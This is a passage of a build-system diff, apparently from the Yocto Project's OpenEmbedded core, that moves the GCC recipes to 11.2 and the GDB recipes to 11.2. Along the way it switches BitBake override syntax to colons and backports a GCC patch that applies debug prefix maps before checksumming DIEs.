+@@ -125,7 +125,6 @@ libatomic_la_LIBADD = $(foreach s,$(SIZES),$(addsuffix _$(s)_.lo,$(SIZEOBJS)))
+ ## On a target-specific basis, include alternates to be selected by IFUNC.
+ if HAVE_IFUNC
+ if ARCH_AARCH64_LINUX
+-IFUNC_OPTIONS = -march=armv8-a+lse
+ libatomic_la_LIBADD += $(foreach s,$(SIZES),$(addsuffix _$(s)_1_.lo,$(SIZEOBJS)))
+ endif
+ if ARCH_ARM_LINUX
+diff --git a/libatomic/Makefile.in b/libatomic/Makefile.in
+index 0a51bd55f01..6d5b1581706 100644
+--- a/libatomic/Makefile.in
++++ b/libatomic/Makefile.in
+@@ -432,7 +432,6 @@ M_SRC = $(firstword $(filter %/$(M_FILE), $(all_c_files)))
+ libatomic_la_LIBADD = $(foreach s,$(SIZES),$(addsuffix \
+ _$(s)_.lo,$(SIZEOBJS))) $(am__append_1) $(am__append_2) \
+ $(am__append_3) $(am__append_4)
+-@ARCH_AARCH64_LINUX_TRUE@@HAVE_IFUNC_TRUE@IFUNC_OPTIONS = -march=armv8-a+lse
+ @ARCH_ARM_LINUX_TRUE@@HAVE_IFUNC_TRUE@IFUNC_OPTIONS = -march=armv7-a+fp -DHAVE_KERNEL64
+ @ARCH_I386_TRUE@@HAVE_IFUNC_TRUE@IFUNC_OPTIONS = -march=i586
+ @ARCH_X86_64_TRUE@@HAVE_IFUNC_TRUE@IFUNC_OPTIONS = -mcx16
diff --git a/meta/recipes-devtools/gcc/gcc/0041-apply-debug-prefix-maps-before-checksumming-DIEs.patch b/meta/recipes-devtools/gcc/gcc/0041-apply-debug-prefix-maps-before-checksumming-DIEs.patch
new file mode 100644
index 0000000000..c8dcd74b9d
--- /dev/null
+++ b/meta/recipes-devtools/gcc/gcc/0041-apply-debug-prefix-maps-before-checksumming-DIEs.patch
@@ -0,0 +1,95 @@
+From 7cc2df084b7977653a9b59cbc34a9ad500ae619c Mon Sep 17 00:00:00 2001
+From: Richard Biener <rguenther@suse.de>
+Date: Tue, 20 Jul 2021 11:00:33 +0200
+Subject: [PATCH] debug/101473 - apply debug prefix maps before checksumming DIEs
+
+The following makes sure to apply the debug prefix maps to filenames
+before checksumming DIEs to create the global symbol for the CU DIE
+used by LTO to link the late debug to the early debug. This avoids
+binary differences (in said symbol) when compiling with toolchains
+installed under a different path and that compensated with appropriate
+-fdebug-prefix-map options.
+
+The easiest and most scalable way is to record both the unmapped
+and the remapped filename in the dwarf_file_data so the remapping
+process takes place at a single point and only once (otherwise it
+creates GC garbage at each point doing that).
+
+2021-07-20 Richard Biener <rguenther@suse.de>
+
+ PR debug/101473
+ * dwarf2out.h (dwarf_file_data): Add key member.
+ * dwarf2out.c (dwarf_file_hasher::equal): Compare key.
+ (dwarf_file_hasher::hash): Hash key.
+ (lookup_filename): Remap the filename and store it in the
+ filename member of dwarf_file_data when creating a new
+ dwarf_file_data.
+ (file_name_acquire): Do not remap the filename again.
+ (maybe_emit_file): Likewise.
+
+[YOCTO #14481]
+
+Upstream-Status: Backport [https://gcc.gnu.org/git/?p=gcc.git;a=commit;h=7cc2df084b7977653a9b59cbc34a9ad500ae619c]
+
+The upstream patch was modified to compensate for the definition of
+"struct dwarf_file_data" being in dwarf2out.c rather than dwarf2out.h in
+this version of gcc.
+
+Signed-off-by: Tony Battersby <tonyb@cybernetics.com>
+---
+diff -urpN a/gcc/dwarf2out.c b/gcc/dwarf2out.c
+--- a/gcc/dwarf2out.c 2021-04-27 06:00:13.000000000 -0400
++++ b/gcc/dwarf2out.c 2021-07-23 16:40:06.141886167 -0400
+@@ -1283,6 +1283,7 @@ dwarf2out_switch_text_section (void)
+
+ /* Data about a single source file. */
+ struct GTY((for_user)) dwarf_file_data {
++ const char * key;
+ const char * filename;
+ int emitted_number;
+ };
+@@ -12334,7 +12335,7 @@ file_name_acquire (dwarf_file_data **slo
+
+ fi = fnad->files + fnad->used_files++;
+
+- f = remap_debug_filename (d->filename);
++ f = d->filename;
+
+ /* Skip all leading "./". */
+ while (f[0] == '.' && IS_DIR_SEPARATOR (f[1]))
+@@ -27231,13 +27232,13 @@ dwarf2out_ignore_block (const_tree block
+ bool
+ dwarf_file_hasher::equal (dwarf_file_data *p1, const char *p2)
+ {
+- return filename_cmp (p1->filename, p2) == 0;
++ return filename_cmp (p1->key, p2) == 0;
+ }
+
+ hashval_t
+ dwarf_file_hasher::hash (dwarf_file_data *p)
+ {
+- return htab_hash_string (p->filename);
++ return htab_hash_string (p->key);
+ }
+
+ /* Lookup FILE_NAME (in the list of filenames that we know about here in
+@@ -27267,7 +27268,8 @@ lookup_filename (const char *file_name)
+ return *slot;
+
+ created = ggc_alloc<dwarf_file_data> ();
+- created->filename = file_name;
++ created->key = file_name;
++ created->filename = remap_debug_filename (file_name);
+ created->emitted_number = 0;
+ *slot = created;
+ return created;
+@@ -27293,8 +27295,7 @@ maybe_emit_file (struct dwarf_file_data
+ if (output_asm_line_debug_info ())
+ {
+ fprintf (asm_out_file, "\t.file %u ", fd->emitted_number);
+- output_quoted_string (asm_out_file,
+- remap_debug_filename (fd->filename));
++ output_quoted_string (asm_out_file, fd->filename);
+ fputc ('\n', asm_out_file);
+ }
+ }
diff --git a/meta/recipes-devtools/gcc/gcc_11.2.bb b/meta/recipes-devtools/gcc/gcc_11.2.bb
new file mode 100644
index 0000000000..255fe552bd
--- /dev/null
+++ b/meta/recipes-devtools/gcc/gcc_11.2.bb
@@ -0,0 +1,14 @@
+require recipes-devtools/gcc/gcc-${PV}.inc
+require gcc-target.inc
+
+# Building with thumb enabled on armv4t armv5t fails with
+# | gcc-4.8.1-r0/gcc-4.8.1/gcc/cp/decl.c:7438:(.text.unlikely+0x2fa): relocation truncated to fit: R_ARM_THM_CALL against symbol `fancy_abort(char const*, int, char const*)' defined in .glue_7 section in linker stubs
+# | gcc-4.8.1-r0/gcc-4.8.1/gcc/cp/decl.c:7442:(.text.unlikely+0x318): additional relocation overflows omitted from the output
+ARM_INSTRUCTION_SET:armv4 = "arm"
+ARM_INSTRUCTION_SET:armv5 = "arm"
+
+ARMFPARCHEXT:armv6 = "${@'+fp' if d.getVar('TARGET_FPU') == 'hard' else ''}"
+ARMFPARCHEXT:armv7a = "${@'+fp' if d.getVar('TARGET_FPU') == 'hard' else ''}"
+ARMFPARCHEXT:armv7ve = "${@'+fp' if d.getVar('TARGET_FPU') == 'hard' else ''}"
+
+BBCLASSEXTEND = "nativesdk"
diff --git a/meta/recipes-devtools/gcc/gcc_9.2.bb b/meta/recipes-devtools/gcc/gcc_9.2.bb
deleted file mode 100644
index 7d93590588..0000000000
--- a/meta/recipes-devtools/gcc/gcc_9.2.bb
+++ /dev/null
@@ -1,14 +0,0 @@
-require recipes-devtools/gcc/gcc-${PV}.inc
-require gcc-target.inc
-
-# Building with thumb enabled on armv4t armv5t fails with
-# | gcc-4.8.1-r0/gcc-4.8.1/gcc/cp/decl.c:7438:(.text.unlikely+0x2fa): relocation truncated to fit: R_ARM_THM_CALL against symbol `fancy_abort(char const*, int, char const*)' defined in .glue_7 section in linker stubs
-# | gcc-4.8.1-r0/gcc-4.8.1/gcc/cp/decl.c:7442:(.text.unlikely+0x318): additional relocation overflows omitted from the output
-ARM_INSTRUCTION_SET_armv4 = "arm"
-ARM_INSTRUCTION_SET_armv5 = "arm"
-
-ARMFPARCHEXT_armv6 = "${@'+fp' if d.getVar('TARGET_FPU') == 'hard' else ''}"
-ARMFPARCHEXT_armv7a = "${@'+fp' if d.getVar('TARGET_FPU') == 'hard' else ''}"
-ARMFPARCHEXT_armv7ve = "${@'+fp' if d.getVar('TARGET_FPU') == 'hard' else ''}"
-
-BBCLASSEXTEND = "nativesdk"
diff --git a/meta/recipes-devtools/gcc/libgcc-common.inc b/meta/recipes-devtools/gcc/libgcc-common.inc
index d959566c3f..d48dc8b823 100644
--- a/meta/recipes-devtools/gcc/libgcc-common.inc
+++ b/meta/recipes-devtools/gcc/libgcc-common.inc
@@ -44,16 +44,16 @@ do_install () {
rm -rf ${D}${libdir}/${TARGET_SYS}/${BINV}/include
}
-do_install_append_libc-baremetal () {
+do_install:append:libc-baremetal () {
rmdir ${D}${base_libdir}
}
-do_install_append_libc-newlib () {
+do_install:append:libc-newlib () {
rmdir ${D}${base_libdir}
}
# No rpm package is actually created but -dev depends on it, avoid dnf error
-RDEPENDS_${PN}-dev_libc-baremetal = ""
-RDEPENDS_${PN}-dev_libc-newlib = ""
+RDEPENDS:${PN}-dev:libc-baremetal = ""
+RDEPENDS:${PN}-dev:libc-newlib = ""
BBCLASSEXTEND = "nativesdk"
@@ -98,9 +98,9 @@ fakeroot python do_multilib_install() {
for ml in multilibs.split():
- tune = d.getVar('DEFAULTTUNE_virtclass-multilib-' + ml)
+ tune = d.getVar('DEFAULTTUNE:virtclass-multilib-' + ml)
if not tune:
- bb.warn('DEFAULTTUNE_virtclass-multilib-%s is not defined. Skipping...' % ml)
+ bb.warn('DEFAULTTUNE:virtclass-multilib-%s is not defined. Skipping...' % ml)
continue
tune_parameters = get_tune_parameters(tune, d)
diff --git a/meta/recipes-devtools/gcc/libgcc-initial.inc b/meta/recipes-devtools/gcc/libgcc-initial.inc
index 06bf224f73..8251e3c286 100644
--- a/meta/recipes-devtools/gcc/libgcc-initial.inc
+++ b/meta/recipes-devtools/gcc/libgcc-initial.inc
@@ -42,17 +42,17 @@ inherit nopackages
# We really only want this built by things that need it, not any recrdeptask
deltask do_build
-do_configure_prepend () {
+do_configure:prepend () {
install -d ${STAGING_INCDIR}
touch ${STAGING_INCDIR}/limits.h
sed -i -e 's#INHIBIT_LIBC_CFLAGS =.*#INHIBIT_LIBC_CFLAGS = -Dinhibit_libc#' ${B}/gcc/libgcc.mvars
sed -i -e 's#inhibit_libc = false#inhibit_libc = true#' ${B}/gcc/Makefile
}
-do_configure_append () {
+do_configure:append () {
sed -i -e 's#thread_header = .*#thread_header = gthr-single.h#' ${B}/${BPN}/Makefile
}
-do_install_append () {
+do_install:append () {
ln -s libgcc.a ${D}${libdir}/${TARGET_SYS}/${BINV}/libgcc_eh.a
}
diff --git a/meta/recipes-devtools/gcc/libgcc-initial_11.2.bb b/meta/recipes-devtools/gcc/libgcc-initial_11.2.bb
new file mode 100644
index 0000000000..a259082b47
--- /dev/null
+++ b/meta/recipes-devtools/gcc/libgcc-initial_11.2.bb
@@ -0,0 +1,5 @@
+require recipes-devtools/gcc/gcc-${PV}.inc
+require libgcc-initial.inc
+
+# Building with thumb enabled on armv6t fails
+ARM_INSTRUCTION_SET:armv6 = "arm"
diff --git a/meta/recipes-devtools/gcc/libgcc-initial_9.2.bb b/meta/recipes-devtools/gcc/libgcc-initial_9.2.bb
deleted file mode 100644
index 0c698c26ec..0000000000
--- a/meta/recipes-devtools/gcc/libgcc-initial_9.2.bb
+++ /dev/null
@@ -1,5 +0,0 @@
-require recipes-devtools/gcc/gcc-${PV}.inc
-require libgcc-initial.inc
-
-# Building with thumb enabled on armv6t fails
-ARM_INSTRUCTION_SET_armv6 = "arm"
diff --git a/meta/recipes-devtools/gcc/libgcc.inc b/meta/recipes-devtools/gcc/libgcc.inc
index e008d14f36..84a2d930df 100644
--- a/meta/recipes-devtools/gcc/libgcc.inc
+++ b/meta/recipes-devtools/gcc/libgcc.inc
@@ -2,21 +2,25 @@ require libgcc-common.inc
DEPENDS = "virtual/${TARGET_PREFIX}gcc virtual/${TARGET_PREFIX}g++ virtual/${MLPREFIX}libc"
-do_install_append_class-target () {
+do_install:append:class-target () {
if [ "${TCLIBC}" != "glibc" ]; then
case "${TARGET_OS}" in
"linux-musl" | "linux-*spe") extra_target_os="linux";;
"linux-musleabi") extra_target_os="linux-gnueabi";;
*) extra_target_os="linux";;
esac
- ln -s ${TARGET_SYS} ${D}${libdir}/${TARGET_ARCH}${TARGET_VENDOR}-$extra_target_os
+ if [ ! -e ${D}${libdir}/${TARGET_ARCH}${TARGET_VENDOR}-$extra_target_os ]; then
+ ln -s ${TARGET_SYS} ${D}${libdir}/${TARGET_ARCH}${TARGET_VENDOR}-$extra_target_os
+ fi
fi
if [ -n "${@ bb.utils.contains('TUNE_CCARGS_MFLOAT', 'hard', 'hf', '', d)}" ]; then
case "${TARGET_OS}" in
"linux-musleabi") extra_target_os="linux-musleabihf";;
"linux-gnueabi") extra_target_os="linux-gnueabihf";;
esac
- ln -s ${TARGET_SYS} ${D}${libdir}/${TARGET_ARCH}${TARGET_VENDOR}-$extra_target_os
+ if [ ! -e ${D}${libdir}/${TARGET_ARCH}${TARGET_VENDOR}-$extra_target_os ]; then
+ ln -s ${TARGET_SYS} ${D}${libdir}/${TARGET_ARCH}${TARGET_VENDOR}-$extra_target_os
+ fi
fi
}
@@ -28,12 +32,12 @@ PACKAGES = "\
# All libgcc source is marked with the exception.
#
-LICENSE_${PN} = "GPL-3.0-with-GCC-exception"
-LICENSE_${PN}-dev = "GPL-3.0-with-GCC-exception"
-LICENSE_${PN}-dbg = "GPL-3.0-with-GCC-exception"
+LICENSE:${PN} = "GPL-3.0-with-GCC-exception"
+LICENSE:${PN}-dev = "GPL-3.0-with-GCC-exception"
+LICENSE:${PN}-dbg = "GPL-3.0-with-GCC-exception"
-FILES_${PN}-dev = "\
+FILES:${PN}-dev = "\
${base_libdir}/libgcc*.so \
${@oe.utils.conditional('BASETARGET_SYS', '${TARGET_SYS}', '', '${libdir}/${BASETARGET_SYS}', d)} \
${libdir}/${TARGET_SYS}/${BINV}* \
@@ -45,5 +49,5 @@ do_package_write_ipk[depends] += "virtual/${MLPREFIX}libc:do_packagedata"
do_package_write_deb[depends] += "virtual/${MLPREFIX}libc:do_packagedata"
do_package_write_rpm[depends] += "virtual/${MLPREFIX}libc:do_packagedata"
-INSANE_SKIP_${PN}-dev = "staticdev"
+INSANE_SKIP:${PN}-dev = "staticdev"
diff --git a/meta/recipes-devtools/gcc/libgcc_11.2.bb b/meta/recipes-devtools/gcc/libgcc_11.2.bb
new file mode 100644
index 0000000000..f88963b0a4
--- /dev/null
+++ b/meta/recipes-devtools/gcc/libgcc_11.2.bb
@@ -0,0 +1,5 @@
+require recipes-devtools/gcc/gcc-${PV}.inc
+require libgcc.inc
+
+# Building with thumb enabled on armv6t fails
+ARM_INSTRUCTION_SET:armv6 = "arm"
diff --git a/meta/recipes-devtools/gcc/libgcc_9.2.bb b/meta/recipes-devtools/gcc/libgcc_9.2.bb
deleted file mode 100644
index ea210a1130..0000000000
--- a/meta/recipes-devtools/gcc/libgcc_9.2.bb
+++ /dev/null
@@ -1,5 +0,0 @@
-require recipes-devtools/gcc/gcc-${PV}.inc
-require libgcc.inc
-
-# Building with thumb enabled on armv6t fails
-ARM_INSTRUCTION_SET_armv6 = "arm"
diff --git a/meta/recipes-devtools/gcc/libgfortran.inc b/meta/recipes-devtools/gcc/libgfortran.inc
index 7543585e6e..e810146d4d 100644
--- a/meta/recipes-devtools/gcc/libgfortran.inc
+++ b/meta/recipes-devtools/gcc/libgfortran.inc
@@ -5,6 +5,11 @@ EXTRA_OECONF_PATHS = "\
--with-build-sysroot=${STAGING_DIR_TARGET} \
"
+# An arm hard float target like raspberrypi4 won't build
+# as CFLAGS don't make it to the fortran compiler otherwise
+# (the configure script sets FC to $GFORTRAN unconditionally)
+export GFORTRAN = "${FC}"
+
do_configure () {
for target in libbacktrace libgfortran
do
@@ -54,12 +59,12 @@ PACKAGES = "\
libgfortran-staticdev \
"
-LICENSE_${PN} = "GPL-3.0-with-GCC-exception"
-LICENSE_${PN}-dev = "GPL-3.0-with-GCC-exception"
-LICENSE_${PN}-dbg = "GPL-3.0-with-GCC-exception"
+LICENSE:${PN} = "GPL-3.0-with-GCC-exception"
+LICENSE:${PN}-dev = "GPL-3.0-with-GCC-exception"
+LICENSE:${PN}-dbg = "GPL-3.0-with-GCC-exception"
-FILES_${PN} = "${libdir}/libgfortran.so.*"
-FILES_${PN}-dev = "\
+FILES:${PN} = "${libdir}/libgfortran.so.*"
+FILES:${PN}-dev = "\
${libdir}/libgfortran*.so \
${libdir}/libgfortran.spec \
${libdir}/libgfortran.la \
@@ -68,9 +73,9 @@ FILES_${PN}-dev = "\
${libdir}/gcc/${TARGET_SYS}/${BINV}/finclude/ \
${libdir}/gcc/${TARGET_SYS}/${BINV}/include/ \
"
-FILES_${PN}-staticdev = "${libdir}/libgfortran.a"
+FILES:${PN}-staticdev = "${libdir}/libgfortran.a"
-INSANE_SKIP_${MLPREFIX}libgfortran-dev = "staticdev"
+INSANE_SKIP:${MLPREFIX}libgfortran-dev = "staticdev"
do_package_write_ipk[depends] += "virtual/${MLPREFIX}libc:do_packagedata"
do_package_write_deb[depends] += "virtual/${MLPREFIX}libc:do_packagedata"
diff --git a/meta/recipes-devtools/gcc/libgfortran_9.2.bb b/meta/recipes-devtools/gcc/libgfortran_11.2.bb
index 71dd8b4bdc..71dd8b4bdc 100644
--- a/meta/recipes-devtools/gcc/libgfortran_9.2.bb
+++ b/meta/recipes-devtools/gcc/libgfortran_11.2.bb
diff --git a/meta/recipes-devtools/gdb/gdb-8.3.1.inc b/meta/recipes-devtools/gdb/gdb-8.3.1.inc
deleted file mode 100644
index 39f1c48cc7..0000000000
--- a/meta/recipes-devtools/gdb/gdb-8.3.1.inc
+++ /dev/null
@@ -1,21 +0,0 @@
-LICENSE = "GPLv2 & GPLv3 & LGPLv2 & LGPLv3"
-LIC_FILES_CHKSUM = "file://COPYING;md5=59530bdf33659b29e73d4adb9f9f6552 \
- file://COPYING3;md5=d32239bcb673463ab874e80d47fae504 \
- file://COPYING3.LIB;md5=6a6a8e020838b23406c81b19c1d46df6 \
- file://COPYING.LIB;md5=9f604d8a4f8e74f4f5140845a21b6674"
-
-SRC_URI = "${GNU_MIRROR}/gdb/gdb-${PV}.tar.xz \
- file://0001-gdbserver-ctrl-c-handling.patch \
- file://0002-make-man-install-relative-to-DESTDIR.patch \
- file://0003-mips-linux-nat-Define-_ABIO32-if-not-defined.patch \
- file://0004-ppc-ptrace-Define-pt_regs-uapi_pt_regs-on-GLIBC-syst.patch \
- file://0005-Add-support-for-Renesas-SH-sh4-architecture.patch \
- file://0006-Dont-disable-libreadline.a-when-using-disable-static.patch \
- file://0007-use-asm-sgidefs.h.patch \
- file://0008-Use-exorted-definitions-of-SIGRTMIN.patch \
- file://0009-Change-order-of-CFLAGS.patch \
- file://0010-resolve-restrict-keyword-conflict.patch \
- file://0011-Fix-invalid-sigprocmask-call.patch \
- "
-SRC_URI[md5sum] = "73b6a5d8141672c62bf851cd34c4aa83"
-SRC_URI[sha256sum] = "1e55b4d7cdca7b34be12f4ceae651623aa73b2fd640152313f9f66a7149757c4"
diff --git a/meta/recipes-devtools/gdb/gdb-common.inc b/meta/recipes-devtools/gdb/gdb-common.inc
index 08f615addf..925b0c2f80 100644
--- a/meta/recipes-devtools/gdb/gdb-common.inc
+++ b/meta/recipes-devtools/gdb/gdb-common.inc
@@ -1,13 +1,14 @@
SUMMARY = "GNU debugger"
HOMEPAGE = "http://www.gnu.org/software/gdb/"
+DESCRIPTION = "GDB, the GNU Project debugger, allows you to see what is going on inside another program while it executes -- or what another program was doing at the moment it crashed."
SECTION = "devel"
-DEPENDS = "expat zlib ncurses virtual/libiconv ${LTTNGUST} bison-native"
+DEPENDS = "expat gmp zlib ncurses virtual/libiconv ${LTTNGUST} bison-native"
LTTNGUST = "lttng-ust"
-LTTNGUST_arc = ""
-LTTNGUST_aarch64 = ""
-LTTNGUST_mipsarch = ""
-LTTNGUST_sh4 = ""
+LTTNGUST:arc = ""
+LTTNGUST:aarch64 = ""
+LTTNGUST:mipsarch = ""
+LTTNGUST:sh4 = ""
inherit autotools texinfo
@@ -15,31 +16,34 @@ UPSTREAM_CHECK_GITTAGREGEX = "gdb\-(?P<pver>.+)\-release"
B = "${WORKDIR}/build-${TARGET_SYS}"
-EXTRA_OEMAKE = "'SUBDIRS=intl mmalloc libiberty opcodes bfd sim gdb etc utils'"
-
EXPAT = "--with-expat --with-libexpat-prefix=${STAGING_DIR_HOST}"
EXTRA_OECONF = "--disable-gdbtk --disable-x --disable-werror \
--with-curses --disable-multilib --disable-sim \
- --without-lzma --without-guile \
+ --without-guile \
${GDBPROPREFIX} ${EXPAT} \
${@bb.utils.contains('DISTRO_FEATURES', 'multiarch', '--enable-64-bit-bfd', '', d)} \
--disable-rpath \
--disable-gas --disable-binutils \
--disable-ld --disable-gold \
--disable-gprof \
+ --with-libgmp-prefix=${STAGING_EXECPREFIXDIR} \
"
-PACKAGECONFIG ??= "readline"
+PACKAGECONFIG ??= "readline ${@bb.utils.filter('DISTRO_FEATURES', 'debuginfod', d)}"
# Use --without-system-readline to compile with readline 5.
PACKAGECONFIG[readline] = "--with-system-readline,--without-system-readline,readline"
PACKAGECONFIG[python] = "--with-python=${WORKDIR}/python,--without-python,python3,python3 python3-codecs"
PACKAGECONFIG[babeltrace] = "--with-babeltrace,--without-babeltrace,babeltrace"
# ncurses is already a hard DEPENDS, but would be added here if it weren't
PACKAGECONFIG[tui] = "--enable-tui,--disable-tui"
+PACKAGECONFIG[xz] = "--with-lzma --with-liblzma-prefix=${STAGING_DIR_HOST},--without-lzma,xz"
+PACKAGECONFIG[debuginfod] = "--with-debuginfod, --without-debuginfod, elfutils"
GDBPROPREFIX = "--program-prefix=''"
+DISABLE_STATIC = ""
+
do_configure () {
# override this function to avoid the autoconf/automake/aclocal/autoheader
# calls for now
@@ -49,14 +53,14 @@ do_configure () {
# we don't want gdb to provide bfd/iberty/opcodes, which instead will override the
# right bits installed by binutils. Same for bfd.info -- also from binutils.
-do_install_append() {
+do_install:append() {
rm -rf ${D}${libdir}
rm -rf ${D}${includedir}
rm -rf ${D}${datadir}/locale
rm -f ${D}${infodir}/bfd.info
}
-RRECOMMENDS_gdb_append_linux = " glibc-thread-db "
-RRECOMMENDS_gdb_append_linux-gnueabi = " glibc-thread-db "
-RRECOMMENDS_gdbserver_append_linux = " glibc-thread-db "
-RRECOMMENDS_gdbserver_append_linux-gnueabi = " glibc-thread-db "
+RRECOMMENDS:gdb:append:linux = " glibc-thread-db "
+RRECOMMENDS:gdb:append:linux-gnueabi = " glibc-thread-db "
+RRECOMMENDS:gdbserver:append:linux = " glibc-thread-db "
+RRECOMMENDS:gdbserver:append:linux-gnueabi = " glibc-thread-db "
diff --git a/meta/recipes-devtools/gdb/gdb-cross-canadian.inc b/meta/recipes-devtools/gdb/gdb-cross-canadian.inc
index c9daf25a41..8e926e81e1 100644
--- a/meta/recipes-devtools/gdb/gdb-cross-canadian.inc
+++ b/meta/recipes-devtools/gdb/gdb-cross-canadian.inc
@@ -1,26 +1,28 @@
inherit cross-canadian
inherit python3-dir
+inherit pkgconfig
SUMMARY = "GNU debugger (cross-canadian gdb for ${TARGET_ARCH} target)"
PN = "gdb-cross-canadian-${TRANSLATED_TARGET_ARCH}"
BPN = "gdb"
-DEPENDS = "nativesdk-ncurses nativesdk-expat nativesdk-gettext \
+DEPENDS = "nativesdk-ncurses nativesdk-expat nativesdk-gettext nativesdk-gmp \
virtual/${HOST_PREFIX}gcc-crosssdk virtual/${HOST_PREFIX}binutils-crosssdk virtual/nativesdk-libc"
GDBPROPREFIX = "--program-prefix='${TARGET_PREFIX}'"
# Overrides PACKAGECONFIG variables in gdb-common.inc
-PACKAGECONFIG ??= "python readline"
+PACKAGECONFIG ??= "python readline ${@bb.utils.filter('DISTRO_FEATURES', 'debuginfod', d)}"
PACKAGECONFIG[python] = "--with-python=${WORKDIR}/python,--without-python,nativesdk-python3, \
nativesdk-python3-core \
nativesdk-python3-codecs nativesdk-python3-netclient \
"
PACKAGECONFIG[readline] = "--with-system-readline,--without-system-readline,nativesdk-readline"
+PACKAGECONFIG[debuginfod] = "--with-debuginfod, --without-debuginfod, nativesdk-elfutils"
-SSTATE_DUPWHITELIST += "${STAGING_DATADIR}/gdb"
+SSTATE_ALLOW_OVERLAP_FILES += "${STAGING_DATADIR}/gdb"
-do_configure_prepend() {
+do_configure:prepend() {
cat > ${WORKDIR}/python << EOF
#! /bin/sh
case "\$2" in
@@ -36,7 +38,7 @@ EOF
# we don't want gdb to provide bfd/iberty/opcodes, which instead will override the
# right bits installed by binutils.
-do_install_append() {
+do_install:append() {
rm -rf ${D}${exec_prefix}/lib
cross_canadian_bindirlinks
}
diff --git a/meta/recipes-devtools/gdb/gdb-cross-canadian_11.2.bb b/meta/recipes-devtools/gdb/gdb-cross-canadian_11.2.bb
new file mode 100644
index 0000000000..4ab2b7156d
--- /dev/null
+++ b/meta/recipes-devtools/gdb/gdb-cross-canadian_11.2.bb
@@ -0,0 +1,3 @@
+require gdb-common.inc
+require gdb-cross-canadian.inc
+require gdb.inc
diff --git a/meta/recipes-devtools/gdb/gdb-cross-canadian_8.3.1.bb b/meta/recipes-devtools/gdb/gdb-cross-canadian_8.3.1.bb
deleted file mode 100644
index 301035940c..0000000000
--- a/meta/recipes-devtools/gdb/gdb-cross-canadian_8.3.1.bb
+++ /dev/null
@@ -1,3 +0,0 @@
-require gdb-common.inc
-require gdb-cross-canadian.inc
-require gdb-${PV}.inc
diff --git a/meta/recipes-devtools/gdb/gdb-cross.inc b/meta/recipes-devtools/gdb/gdb-cross.inc
index ebe329f6d3..9f9675c1b3 100644
--- a/meta/recipes-devtools/gdb/gdb-cross.inc
+++ b/meta/recipes-devtools/gdb/gdb-cross.inc
@@ -1,15 +1,16 @@
require gdb-common.inc
-DEPENDS = "expat-native ncurses-native flex-native bison-native"
+DEPENDS = "expat-native gmp-native ncurses-native flex-native bison-native"
-inherit python3native
+inherit python3native pkgconfig
# Overrides PACKAGECONFIG variables in gdb-common.inc
-PACKAGECONFIG ??= "python readline"
+PACKAGECONFIG ??= "python readline ${@bb.utils.filter('DISTRO_FEATURES', 'debuginfod', d)}"
PACKAGECONFIG[python] = "--with-python=${PYTHON},--without-python,python3-native"
PACKAGECONFIG[readline] = "--with-system-readline,--without-system-readline,readline-native"
+PACKAGECONFIG[debuginfod] = "--with-debuginfod, --without-debuginfod, elfutils-native"
-do_compile_prepend() {
+do_compile:prepend() {
export STAGING_LIBDIR="${STAGING_LIBDIR_NATIVE}"
export STAGING_INCDIR="${STAGING_INCDIR_NATIVE}"
}
diff --git a/meta/recipes-devtools/gdb/gdb-cross_11.2.bb b/meta/recipes-devtools/gdb/gdb-cross_11.2.bb
new file mode 100644
index 0000000000..3b654a2f0d
--- /dev/null
+++ b/meta/recipes-devtools/gdb/gdb-cross_11.2.bb
@@ -0,0 +1,2 @@
+require gdb-cross.inc
+require gdb.inc
diff --git a/meta/recipes-devtools/gdb/gdb-cross_8.3.1.bb b/meta/recipes-devtools/gdb/gdb-cross_8.3.1.bb
deleted file mode 100644
index 50cf159fdb..0000000000
--- a/meta/recipes-devtools/gdb/gdb-cross_8.3.1.bb
+++ /dev/null
@@ -1,2 +0,0 @@
-require gdb-cross.inc
-require gdb-${PV}.inc
diff --git a/meta/recipes-devtools/gdb/gdb.inc b/meta/recipes-devtools/gdb/gdb.inc
index 249e24dc52..649ee28727 100644
--- a/meta/recipes-devtools/gdb/gdb.inc
+++ b/meta/recipes-devtools/gdb/gdb.inc
@@ -1,14 +1,18 @@
-require gdb-common.inc
-
-inherit gettext
-
-#LDFLAGS_append = " -s"
-#export CFLAGS_append=" -L${STAGING_LIBDIR}"
-
-# cross-canadian must not see this
-PACKAGES =+ "gdbserver"
-FILES_gdbserver = "${bindir}/gdbserver"
-
-ALLOW_EMPTY_gdbserver_riscv64 = "1"
-ALLOW_EMPTY_gdbserver_riscv32 = "1"
+LICENSE = "GPL-2.0-only & GPL-3.0-only & LGPL-2.0-only & LGPL-3.0-only"
+LIC_FILES_CHKSUM = "file://COPYING;md5=59530bdf33659b29e73d4adb9f9f6552 \
+ file://COPYING3;md5=d32239bcb673463ab874e80d47fae504 \
+ file://COPYING3.LIB;md5=6a6a8e020838b23406c81b19c1d46df6 \
+ file://COPYING.LIB;md5=9f604d8a4f8e74f4f5140845a21b6674"
+SRC_URI = "${GNU_MIRROR}/gdb/gdb-${PV}.tar.xz \
+ file://0001-make-man-install-relative-to-DESTDIR.patch \
+ file://0002-mips-linux-nat-Define-_ABIO32-if-not-defined.patch \
+ file://0003-ppc-ptrace-Define-pt_regs-uapi_pt_regs-on-GLIBC-syst.patch \
+ file://0005-Dont-disable-libreadline.a-when-using-disable-static.patch \
+ file://0006-use-asm-sgidefs.h.patch \
+ file://0007-Change-order-of-CFLAGS.patch \
+ file://0008-resolve-restrict-keyword-conflict.patch \
+ file://0009-Fix-invalid-sigprocmask-call.patch \
+ file://0010-gdbserver-ctrl-c-handling.patch \
+ "
+SRC_URI[sha256sum] = "1497c36a71881b8671a9a84a0ee40faab788ca30d7ba19d8463c3cc787152e32"
diff --git a/meta/recipes-devtools/gdb/gdb/0001-gdbserver-ctrl-c-handling.patch b/meta/recipes-devtools/gdb/gdb/0001-gdbserver-ctrl-c-handling.patch
deleted file mode 100644
index 71fe7f83b6..0000000000
--- a/meta/recipes-devtools/gdb/gdb/0001-gdbserver-ctrl-c-handling.patch
+++ /dev/null
@@ -1,26 +0,0 @@
-This problem was created by the upstream commit 78708b7c8c
-After applying the commit, it will send SIGINT to the process group(-signal_pid).
-But if we use gdbserver send SIGINT, and the attached process is not a process
-group leader, then the "kill (-signal_pid, SIGINT)" returns error and fails to
-interrupt the attached process.
-
-Upstream-Status: Submitted [https://sourceware.org/bugzilla/show_bug.cgi?id=18945]
-
-Author: Josh Gao
-Signed-off-by: Zhixiong Chi <zhixiong.chi@windriver.com>
-
-Index: gdb-8.2/gdb/gdbserver/linux-low.c
-===================================================================
---- gdb-8.2.orig/gdb/gdbserver/linux-low.c
-+++ gdb-8.2/gdb/gdbserver/linux-low.c
